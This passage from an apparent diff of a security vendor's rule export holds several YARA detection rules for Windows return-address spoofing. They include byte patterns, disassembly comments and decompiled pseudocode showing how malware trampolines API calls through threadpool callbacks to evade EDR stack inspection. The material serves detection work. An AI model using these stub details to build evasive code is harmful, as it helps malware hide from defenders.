\"https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html\\nhttps://0xdarkvortex.dev/hiding-in-plainsight/\\nhttps://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/\\nhttps://github.com/kyleavery/AceLdr\"\n        date = \"2025-11-05\"\n        modified = \"2025-11-12\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1140\"\n        classification = \"Windows.Generic.RetAddrSpoofing\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // b05f4dcd41d6732da10c5b64724ea42e591eabab3ef745440c7b795b2f68d8f8\n        // d9a1479142464d9c524806119cf3f78f13b3972027486378d37fc2f82a2210d5\n        // 3842d0d806f854f5be0e39bb2c53849fe6bb318d6e4469bc90721eaac0e659eb\n\n        //  int64_t prepare_context_api_call(int64_t arg1, int64_t arg2, int64_t arg3 @ rbx, int64_t arg4 @ r12, int64_t arg5 @ r13, int64_t arg6 @ r14,\n        //      int64_t arg7 @ r15, int64_t (** arg8)(int64_t arg1 @ rax, void* arg2 @ rbx), int64_t arg9)\n        //      arg8[3] = arg1\n        //      arg8[0xb] = arg2\n        //      arg8[0xc] = arg4\n        //      arg8[0xd] = arg5\n        //      arg8[0xe] = arg6\n        //      arg8[0xf] = arg7\n        //      int64_t i = 0\n        //      int64_t arg_38\n        //      int64_t r13 = arg_38\n        //      int64_t r14_3 = 0x208 + arg8[7] + arg8[6] + arg8[4] - 0x20\n        //      int64_t* r10_1 = &arg_38\n        //\n        //      for (; i != r13; i += 1)\n        //          r14_3 -= 8\n        //          r10_1 = &r10_1[1]\n        //          void arg_8\n        //          *(&arg_8 - r14_3) = *r10_1\n        //\n        //      int64_t var_200 = 0\n        //      int64_t* rsp = &var_200 - arg8[7]\n        //      *rsp = arg8[8]\n        //      int64_t* rsp_1 = rsp - arg8[4]\n        //      *rsp_1 = arg8[5]\n        //      *(rsp_1 - arg8[6]) = arg8[0xa]\n        //      arg8[1] = __return_addr\n        //      arg8[2] = arg3\n        //      *arg8 = return_trampoline_stub\n        //      arg8[9]\n        //      jump(arg9)\n\n        //  int64_t return_trampoline_stub(int64_t arg1 @ rax, void* arg2 @ rbx)\n        //      void arg_200\n        //      void* rsp_2 = &arg_200 + *(arg2 + 0x30) + *(arg2 + 0x20) + *(arg2 + 0x38)\n        //      *(arg2 + 0x10)\n        //      *(arg2 + 0x18)\n        //      *(arg2 + 0x58)\n        //      *(arg2 + 0x60)\n        //      *(arg2 + 0x68)\n        //      *(arg2 + 0x70)\n        //      *(arg2 + 0x78)\n        //      *(rsp_2 - 8) = arg1\n        //      *(rsp_2 - 8)\n        //      jump(*(arg2 + &data_8))\n\n\n        $work_callback_and_ret_handler = {\n            48 8B DF                // mov     rbx, rdi\n            4C 8B D1                // mov     r10, rcx\n            48 8B 47 48             // mov     rax, qword [rdi+0x48]\n            41 FF E3                // jmp     r11\n\n            // int64_t return_trampoline_stub(int64_t arg1 @ rax, void* arg2 @ rbx)\n            48 8B CB                // mov     rcx, rbx\n            48 81 C4 00 02 00 00    // add     rsp, 0x200\n            48 03 63 30             // add     rsp, qword [rbx+0x30]\n            48 03 63 20             // add     rsp, qword [rbx+0x20]\n            48 03 63 38             // add     rsp, qword [rbx+0x38]\n        }\n\n    condition:\n        $work_callback_and_ret_handler\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "return_addr_spoofing_10e4552cd40d"
+  ],
+  "rule_creation_date": "2025-11-05",
+  "rule_modified_date": "2025-11-12",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.RetAddrSpoofing"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-custom_call_stack_2d3b1da30907_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.590141Z",
+  "creation_date": "2026-03-23T11:46:25.590144Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.590153Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html\nhttps://0xdarkvortex.dev/hiding-in-plainsight/\nhttps://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/\nhttps://github.com/klezVirus/Moonwalk--/"
+  ],
+  "name": "custom_call_stack_2d3b1da30907.yar",
+  "content": "rule return_addr_spoofing_2d3b1da30907 {\n    meta:\n        title = \"Return Address Spoofing Technique (2d3b1da30907)\"\n        id = \"184d0db3-6fa9-4958-86e0-2d3b1da30907\"\n        description = \"Detects usage of return address spoofing.\\nThis technique hijacks execution to execute malicious API calls with a legitimized call stack. The malware modifies a parameter structure to intercept execution flow: it saves the target function pointer, overwrites the structure with a return trampoline address, and stores the original return address within the structure itself. When the target API executes, EDR stack inspection sees a clean call chain originating from legitimate Windows internals rather than suspicious RX regions.\\nThe technique consists of two key components:\\n1. Manipulating the stack structure before calling the target API, installing a return handler\\n2. Restoring execution flow after the API returns.\\nThis bypasses EDR call stack inspection that would normally flag direct calls from shellcode/injected regions to sensitive APIs like NtAllocateVirtualMemory, NtProtectVirtualMemory, or NtCreateThreadEx.\\nIt is recommended to investigate processes using with unusual callback patterns, examine memory regions containing the detected code sequences, analyze parent-child process relationships, and correlate with other suspicious behaviors such as process injection, memory allocation in remote processes, or unsigned code execution.\"\n        references = \"https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html\\nhttps://0xdarkvortex.dev/hiding-in-plainsight/\\nhttps://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/\\nhttps://github.com/klezVirus/Moonwalk--/\"\n        date = \"2025-12-16\"\n        modified = \"2025-12-22\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1140\"\n        classification = \"Windows.Generic.RetAddrSpoofing\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 841bde640f5a619d560daef63b9fbdf9337d4d24ceb2a70a5f5a5ad86f0d6bad\n\n        // This is a very generic signature, it has a gadget that saves the stack pointer and one\n        // that saves non-volatile registers.\n\n        $get_rsp = {\n            48 8B C4              // mov     rax, rsp {__return_addr}\n            48 83 C0 08           // add     rax {arg_8}, 0x8\n            C3                    // retn     {__return_addr}\n        }\n\n        $saving_non_vol_regs = {\n            48 89 6C 24 08         // mov     qword [rsp+0x8 {arg_8}], rbp\n            48 89 5C 24 10         // mov     qword [rsp+0x10 {arg_10}], rbx\n            49 8B C9               // mov     rcx, r9\n            4C 8B D9               // mov     r11, rcx\n        }\n\n    condition:\n        $get_rsp and $saving_non_vol_regs\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "return_addr_spoofing_2d3b1da30907"
+  ],
+  "rule_creation_date": "2025-12-16",
+  "rule_modified_date": "2025-12-22",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.RetAddrSpoofing"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-custom_call_stack_60d336d6cd97_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.562824Z",
+  "creation_date": "2026-03-23T11:46:25.562828Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.562837Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html\nhttps://0xdarkvortex.dev/hiding-in-plainsight/\nhttps://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/\nhttps://github.com/kyleavery/AceLdr"
+  ],
+  "name": "custom_call_stack_60d336d6cd97.yar",
+  "content": "rule return_addr_spoofing_60d336d6cd97 {\n    meta:\n        title = \"Return Address Spoofing Technique (60d336d6cd97)\"\n        id = \"84c489f4-0ab5-4fa1-8538-60d336d6cd97\"\n        description = \"Detects usage of return address spoofing.\\nThis technique hijacks execution to execute malicious API calls with a legitimized call stack. The malware modifies a parameter structure to intercept execution flow: it saves the target function pointer, overwrites the structure with a return trampoline address, and stores the original return address within the structure itself. When the target API executes, EDR stack inspection sees a clean call chain originating from legitimate Windows internals rather than suspicious RX regions.\\nThe technique consists of two key components:\\n1. setup_threadpool_callback_proxy: Manipulates the structure before calling the target API, installing a return handler\\n2. threadpool_callback_return_handler: Restores execution flow after the API returns\\nThis bypasses EDR call stack inspection that would normally flag direct calls from shellcode/injected regions to sensitive APIs like NtAllocateVirtualMemory, NtProtectVirtualMemory, or NtCreateThreadEx.\\nIt is recommended to investigate processes using with unusual callback patterns, examine memory regions containing the detected code sequences, analyze parent-child process relationships, and correlate with other suspicious behaviors such as process injection, memory allocation in remote processes, or unsigned code execution.\"\n        references = \"https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html\\nhttps://0xdarkvortex.dev/hiding-in-plainsight/\\nhttps://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/\\nhttps://github.com/kyleavery/AceLdr\"\n        date = \"2025-11-05\"\n        modified = \"2025-11-12\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1140\"\n        classification = \"Windows.Generic.RetAddrSpoofing\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // bb5cf9427657965cea4117ab5308dc09d032851ad2265cb4f2ffcccef639194e\n        // 8a5f8ddeaa2fa210651187c93ce9437dad5e3132cc83cc3804181dec09239f7d\n        // 53a5485f534232ba748aba240bde8d2648743f29892230e53f2fa35d0bee7763\n\n        $work_callback = {\n            48 89 D3                // mov     rbx, rdx\n            48 8B 03                // mov     rax, qword [rbx]\n            48 8B 4B 08             // mov     rcx, qword [rbx+0x8]\n            48 8B 53 10             // mov     rdx, qword [rbx+0x10]\n            4D 31 C0                // xor     r8, r8  {0x0}\n            4C 8B 4B 18             // mov     r9, qword [rbx+0x18]\n            [4-6]                   // mov     r10d, 0x4\n            4C 89 54 24 30          // mov     qword [rsp+0x30 {arg_30}], r10  {0x4}\n            [4-6]                   // mov     r10d, 0x3000\n            4C 89 54 24 28          // mov     qword [rsp+0x28 {arg_28}], r10  {0x3000}\n            FF E0                   // jmp     rax\n        }\n\n    condition:\n        $work_callback\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "return_addr_spoofing_60d336d6cd97"
+  ],
+  "rule_creation_date": "2025-11-05",
+  "rule_modified_date": "2025-11-12",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.RetAddrSpoofing"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-custom_call_stack_9aea64230cd6_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.562734Z",
+  "creation_date": "2026-03-23T11:46:25.562748Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.562763Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html\nhttps://0xdarkvortex.dev/hiding-in-plainsight/\nhttps://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/\nhttps://github.com/kyleavery/AceLdr"
+  ],
+  "name": "custom_call_stack_9aea64230cd6.yar",
+  "content": "rule return_addr_spoofing_9aea64230cd6 {\n    meta:\n        title = \"Return Address Spoofing Technique (9aea64230cd6)\"\n        id = \"54041a86-8a8a-403d-b7d5-9aea64230cd6\"\n        description = \"Detects usage of return address spoofing.\\nThis technique hijacks execution to execute malicious API calls with a legitimized call stack. The malware modifies a parameter structure to intercept execution flow: it saves the target function pointer, overwrites the structure with a return trampoline address, and stores the original return address within the structure itself. When the target API executes, EDR stack inspection sees a clean call chain originating from legitimate Windows internals rather than suspicious RX regions.\\nThe technique consists of two key components:\\n1. setup_threadpool_callback_proxy: Manipulates the structure before calling the target API, installing a return handler\\n2. threadpool_callback_return_handler: Restores execution flow after the API returns\\nThis bypasses EDR call stack inspection that would normally flag direct calls from shellcode/injected regions to sensitive APIs like NtAllocateVirtualMemory, NtProtectVirtualMemory, or NtCreateThreadEx.\\nIt is recommended to investigate processes using with unusual callback patterns, examine memory regions containing the detected code sequences, analyze parent-child process relationships, and correlate with other suspicious behaviors such as process injection, memory allocation in remote processes, or unsigned code execution.\"\n        references = \"https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html\\nhttps://0xdarkvortex.dev/hiding-in-plainsight/\\nhttps://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/\\nhttps://github.com/kyleavery/AceLdr\"\n        date = \"2025-11-05\"\n        modified = \"2025-11-12\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1140\"\n        classification = \"Windows.Generic.RetAddrSpoofing\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 3114f349c989c71f349de84357c8c21afe67e88d7bb6438d130525ebf041809f\n        // dac3c7b37e0504da56156a0a36042914dfa85ea4ec0ba70c561432c0cf0ddfbe\n        // 2a4c193d0beb165893cc65f588ecc32f0cbc68db3a42acb2b0e692ac95486db8\n\n        // int64_t work_callback(int64_t arg1 @ rbx, int64_t* arg2)\n        //     int64_t arg_10 = *arg2\n        //     int64_t r10_1 = arg2[1]\n        //     arg2[1] = __return_addr\n        //     arg2[2] = arg1\n        //     *arg2 = threadpool_callback_return_handler\n        //     jump(r10_1)\n        //\n        // int64_t threadpool_callback_return_handler(void* arg1 @ rbx)\n        //     *(arg1 + 0x10)\n        //     jump(*(arg1 + 8))\n\n        $work_callback_and_ret_handler = {\n            // int64_t setup_threadpool_callback_proxy(int64_t arg1 @ rbx, int64_t* arg2)\n            41 5B                 // pop     r11 {__return_addr}\n            48 83 C4 08           // add     rsp, 0x8\n            48 8B 44 24 18        // mov     rax, qword [rsp+0x18 {arg2}]\n            4C 8B 10              // mov     r10, qword [rax]\n            4C 89 14 24           // mov     qword [rsp {arg_10}], r10\n            4C 8B 50 08           // mov     r10, qword [rax+0x8]\n            4C 89 58 08           // mov     qword [rax+0x8], r11\n            48 89 58 10           // mov     qword [rax+0x10], rbx\n            48 8D 1D 09 00 00 00  // lea     rbx, [rel threadpool_callback_return_handler]\n            48 89 18              // mov     qword [rax], rbx  {threadpool_callback_return_handler}\n            48 8B D8              // mov     rbx, rax\n            41 FF E2              // jmp     r10\n\n            // int64_t threadpool_callback_return_handler(void* arg1 @ rbx)\n            48 83 EC 10           // sub     rsp, 0x10\n            48 8B CB              // mov     rcx, rbx\n            48 8B 59 10           // mov     rbx, qword [rcx+0x10]\n            FF 61 08              // jmp     qword [rcx+0x8]\n        }\n\n    condition:\n        $work_callback_and_ret_handler\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "return_addr_spoofing_9aea64230cd6"
+  ],
+  "rule_creation_date": "2025-11-05",
+  "rule_modified_date": "2025-11-12",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.RetAddrSpoofing"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-custom_call_stack_a511033955ba_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.577537Z",
+  "creation_date": "2026-03-23T11:46:25.577539Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.577544Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html\nhttps://0xdarkvortex.dev/hiding-in-plainsight/\nhttps://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/\nhttps://github.com/AlmondOffSec/LibTPLoadLib/"
+  ],
+  "name": "custom_call_stack_a511033955ba.yar",
+  "content": "rule return_addr_spoofing_a511033955ba {\n    meta:\n        title = \"Return Address Spoofing Technique (a511033955ba)\"\n        id = \"f10b1ae6-9fa7-461d-a7ca-a511033955ba\"\n        description = \"Detects usage of return address spoofing.\\nThis technique hijacks execution to execute malicious API calls with a legitimized call stack. The malware modifies a parameter structure to intercept execution flow: it saves the target function pointer, overwrites the structure with a return trampoline address, and stores the original return address within the structure itself. When the target API executes, EDR stack inspection sees a clean call chain originating from legitimate Windows internals rather than suspicious RX regions.\\nThe technique consists of two key components:\\n1. Manipulating the stack structure before calling the target API, installing a return handler\\n2. Restoring execution flow after the API returns.\\nThis bypasses EDR call stack inspection that would normally flag direct calls from shellcode/injected regions to sensitive APIs like NtAllocateVirtualMemory, NtProtectVirtualMemory, or NtCreateThreadEx.\\nIt is recommended to investigate processes using with unusual callback patterns, examine memory regions containing the detected code sequences, analyze parent-child process relationships, and correlate with other suspicious behaviors such as process injection, memory allocation in remote processes, or unsigned code execution.\"\n        references = \"https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html\\nhttps://0xdarkvortex.dev/hiding-in-plainsight/\\nhttps://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/\\nhttps://github.com/AlmondOffSec/LibTPLoadLib/\"\n        date = \"2025-11-18\"\n        modified = \"2025-11-25\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1140\"\n        classification = \"Windows.Generic.RetAddrSpoofing\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // d013c1fb55b9320d6db542a0f54fc8ed193867a5a721717afdc169c9f0385062\n        // a23a27dc1dceeb289d2b3f4f9c2ce460a1a0bee0a633dfdb461f4ef60bda9234\n\n        // This detection is based on the LibTPLoadLib implementation - seen in Conti ransomware samples dating from 11/2025 marked above\n\n        $s1 = \"TpAllocWork\" ascii fullword\n        $s2 = \"TpPostWork\" ascii fullword\n        $s3 = \"TpWaitForWork\" ascii fullword\n        $s4 = \"TpReleaseWork\" ascii fullword\n        $s5 = \"dsdmo_10.0.26100.1882.dll\" ascii fullword\n\n        $work_callback = {\n            48 83 EC 28           // sub     rsp, 0x28\n            4C 8B 52 08           // mov     r10, qword [rdx+0x8]\n            4C 8B 5A 10           // mov     r11, qword [rdx+0x10]\n            48 8B 0A              // mov     rcx, qword [rdx]\n            48 31 D2              // xor     rdx, rdx  {0x0}\n            4D 31 C0              // xor     r8, r8  {0x0}\n            41 FF E3              // jmp     r11\n        }\n\n    condition:\n        all of ($s*) or $work_callback\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "return_addr_spoofing_a511033955ba"
+  ],
+  "rule_creation_date": "2025-11-18",
+  "rule_modified_date": "2025-11-25",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.RetAddrSpoofing"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-custom_call_stack_d613dacd109b_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.566148Z",
+  "creation_date": "2026-03-23T11:46:25.566151Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.566158Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html\nhttps://0xdarkvortex.dev/hiding-in-plainsight/\nhttps://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/\nhttps://github.com/rasta-mouse/LibTP\nhttps://github.com/evilashz/PigSyscall"
+  ],
+  "name": "custom_call_stack_d613dacd109b.yar",
+  "content": "rule return_addr_spoofing_d613dacd109b {\n    meta:\n        title = \"Return Address Spoofing Technique (d613dacd109b)\"\n        id = \"78a2cc2b-3b0a-4a94-b4e8-d613dacd109b\"\n        description = \"Detects usage of return address spoofing.\\nThis technique hijacks execution to execute malicious API calls with a legitimized call stack. The malware modifies a parameter structure to intercept execution flow: it saves the target function pointer, overwrites the structure with a return trampoline address, and stores the original return address within the structure itself. When the target API executes, EDR stack inspection sees a clean call chain originating from legitimate Windows internals rather than suspicious RX regions.\\nThe technique consists of two key components:\\n1. Manipulating the stack structure before calling the target API, installing a return handler\\n2. Restoring execution flow after the API returns.\\nThis bypasses EDR call stack inspection that would normally flag direct calls from shellcode/injected regions to sensitive APIs like NtAllocateVirtualMemory, NtProtectVirtualMemory, or NtCreateThreadEx.\\nIt is recommended to investigate processes using with unusual callback patterns, examine memory regions containing the detected code sequences, analyze parent-child process relationships, and correlate with other suspicious behaviors such as process injection, memory allocation in remote processes, or unsigned code execution.\"\n        references = \"https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html\\nhttps://0xdarkvortex.dev/hiding-in-plainsight/\\nhttps://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/\\nhttps://github.com/rasta-mouse/LibTP\\nhttps://github.com/evilashz/PigSyscall\"\n        date = \"2025-11-18\"\n        modified = \"2025-11-25\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1140\"\n        classification = \"Windows.Generic.RetAddrSpoofing\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // d95d43bfda094adc3be2a205212905a6b43896e382eaf4a4306dc617f71f193b\n        // 590a55a11b518dbe1b925b345c3d58af783f53c9213c882445486a9816c4da0f\n        // 90ba66d88988961d754b31a41113f9cfd60ce2766b0a9e759c369cce619b2663\n\n        // This one is based on the trampoline seen in RastaMouse's LibTP implementation and PigSyscall\n\n        $work_callback = {\n                                // int64_t WorkCallback(int64_t arg1, int64_t* arg2)\n            48 89 D3               // mov     rbx, rdx\n            48 8B 03               // mov     rax, qword [rbx]\n            48 8B 4B 08            // mov     rcx, qword [rbx+0x8]\n            48 8B 53 10            // mov     rdx, qword [rbx+0x10]\n            4C 8B 43 18            // mov     r8, qword [rbx+0x18]\n            4C 8B 4B 20            // mov     r9, qword [rbx+0x20]\n            4C 8B 53 30            // mov     r10, qword [rbx+0x30]\n            4C 89 54 24 30         // mov     qword [rsp+0x30 {arg_30}], r10\n            4C 8B 53 28            // mov     r10, qword [rbx+0x28]\n            4C 89 54 24 28         // mov     qword [rsp+0x28 {arg_28}], r10\n            FF E0                  // jmp     rax\n        }\n\n    condition:\n        all of them\n}",
+  "rule_count": 1,
+  "rule_names": [
+    "return_addr_spoofing_d613dacd109b"
+  ],
+  "rule_creation_date": "2025-11-18",
+  "rule_modified_date": "2025-11-25",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.RetAddrSpoofing"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-custom_call_stack_e652623d09ba_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
